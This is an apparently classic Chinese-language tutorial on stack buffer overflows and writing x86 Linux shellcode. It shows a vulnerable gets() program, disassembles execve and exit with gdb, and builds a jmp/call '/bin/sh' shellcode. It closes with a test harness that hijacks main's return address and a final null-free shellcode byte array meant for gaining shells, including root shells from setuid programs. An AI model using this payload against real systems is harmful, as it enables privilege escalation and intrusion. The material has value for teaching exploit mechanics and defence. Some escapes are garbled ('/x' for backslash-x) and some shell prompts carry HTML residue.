堆栈溢出技术从入门到高深(一)

本讲的预备知识：
首先你应该了解intel汇编语言，熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面
的基础知识，有关这方面的计算机书籍很多，我将只是简单阐述原理，着重在应用。其次，
你应该了解linux，本讲中我们的例子将在linux上开发。

1：首先复习一下基础知识。

从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变量。静态
全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配
在堆栈里面。

从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我
们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push＝ESP－4，出栈的
操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要大。
请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。

在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，
接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被
丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回
地址到EIP以继续执行程序。

在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c)。在参数入栈的时候，是：
先压c，再压b,最后a.在取参数的时候，由于栈的先入后出，先取栈顶的a，再取b,最后取c。
（PS:如果你看不懂上面这段概述，请你去看以看关于堆栈的书籍，一般的汇编语言书籍都
会详细的讨论堆栈，必须弄懂它，你才能进行下面的学习）

2:好了，继续,让我们来看一看什么是堆栈溢出。

2.1：运行时的堆栈分配

堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，导致数据
越界。结果覆盖了老的堆栈数据。

比如有下面一段程序：
程序一：
#include <stdio.h>
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}

编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎么操作的呢？

在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。

我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句：

pushl %ebp
movl %esp,%ebp
subl $8,%esp

首先他把EBP保存下来，，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数的
局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name[]数组。现在堆栈
的布局如下：

内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
栈顶部 堆栈底部

执行完gets(name)之后，堆栈如下：

内存底部 内存顶部
name EBP ret
<------ [ipxodi/0 ][ ][ ]
^&name
栈顶部 堆栈底部

最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。


2.2：堆栈溢出

好，看起来一切顺利。我们再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完
gets（name）之后，堆栈如下：

内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
栈顶部 堆栈底部

由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写
‘A’。由于堆栈的生长方向与内存的生长方向相反，这些‘A’覆盖了堆栈的
老的元素。 如图
我们可以发现，EBP，ret都已经被‘A’覆盖了。在main返回的时候，就会把
‘AAAA’的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处
的指令，结果出现错误。这就是一次堆栈溢出。

3：如何利用堆栈溢出

我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数
（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用字符数组写
越界，覆盖堆栈中的老元素的值，就可以修改返回地址。

在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。

事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。
如果我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我
们的指令。

在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆
栈溢出的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得
root shell。


下一讲将叙述如何书写一个shell code。


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如何书写一个shell code

一：shellcode基本算法分析

在程序中，执行一个shell的程序是这样写的：
shellcode.c
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#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh"
name[1] = NULL;
execve(name[0], name, NULL);
}
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------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序的argv[i]（argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为
第三个参数。

我们来看以看execve的汇编代码：
[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c
[nkl10]$Content$nbsp;gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb，eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh/0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL，用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

经过以上的分析，可以得到如下的精简指令算法：
movl $execve的系统调用号,%eax
movl "bin/sh/0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)

当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。
可是，如果我们的execve执行失败，（比如没有/bin/sh这个文件），CPU就会继续
执行后续的指令，结果不知道跑到哪里去了。所以必须再执行一个exit（）系统调
用，结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码：
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

看来exit(0)〕的汇编代码更加简单：
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用

那么总结一下，合成的汇编代码为：
movl $execve的系统调用号,%eax
movl "bin/sh/0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)
二：实现一个shellcode

好，我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name
数组。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次
程序都是动态加载，字符串和name数组的地址都不是固定的。

通过JMP和call的结合，黑客们巧妙的解决了这个问题。
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jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组，

//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会
作
//为返回地址压栈。
/bin/sh 字符串
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首先使用JMP相对地址来跳转到call,执行完call指令，字符串/bin/sh的地址将作为
call的返回地址压入堆栈。现在来到popl esi，把刚刚压入栈中的字符串地址取出来，
就获得了字符串的真实地址。然后，在字符串的第8个字节赋0，作为串的结尾。后面
8个字节，构造name数组（两个整数，八个字节）。

我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
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------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后，用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。
下面，写出测试程序如下：（注意，这个test程序是测试shellcode的基本程序）

test.c
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char shellcode[] =
"/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3"

void main() {
int *ret;

ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有pushl ebp ,否则加1就可以了。）

(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。

}

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------------------------------------------------------------------------
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[nkl10]$Content$nbsp;gcc -o test test.c
[nkl10]$Content$nbsp;./test
$Content$nbsp;exit
[nkl10]$Content$nbsp;
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我们通过一个shellcode数组来存放shellcode，当我们把程序（test.c）的返回地址
ret设置成shellcode数组的开始地址时，程序在返回的时候就会去执行我们的shellcode，
从而我们得到了一个shell。

运行结果，得到了bsh的提示符$,表明成功的开了一个shell。

这里有必要解释的是，我们把shellcode作为一个全局变量开在了数据段而不是作为
一段代码。是因为在操作系统中，程序代码段的内容是具有只读属性的。不能修改。
而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分，所以不能放在
代码段。

这个shellcode可以了吗？很遗憾，还差了一点。大家回想一下，在堆栈溢出中，关
键在于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，
以"/0"
为字符串结尾。遇/0就结束了写操作。而我们的shellcode串中有大量的/0字符。因此，
对于gets（name）来说，上面的shellcode是不可行的。我们的shellcode是不能有/0字符
出现的。

因此，有些指令需要修改一下：
旧的指令 新的指令
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movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

最后的shellcode为：
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char shellcode[]=
00 "/xeb/x1f" /* jmp 0x1f */
02 "/x5e" /* popl %esi */
03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */
06 "/x31/xc0" /* xorl %eax,%eax */
08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */
0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
0e "/xb0/x0b" /* movb $0xb,%al */
10 "/x89/xf3" /* movl %esi,%ebx */
12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
18 "/xcd/x80" /* int $0x80 */
1a "/x31/xdb" /* xorl %ebx,%ebx */
1c "/x89/xd8" /* movl %ebx,%eax */
1e "/x40" /* inc %eax */
1f "/xcd/x80" /* int $0x80 */
21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */
26 "/bin/sh" /* .string /"/bin/sh/" */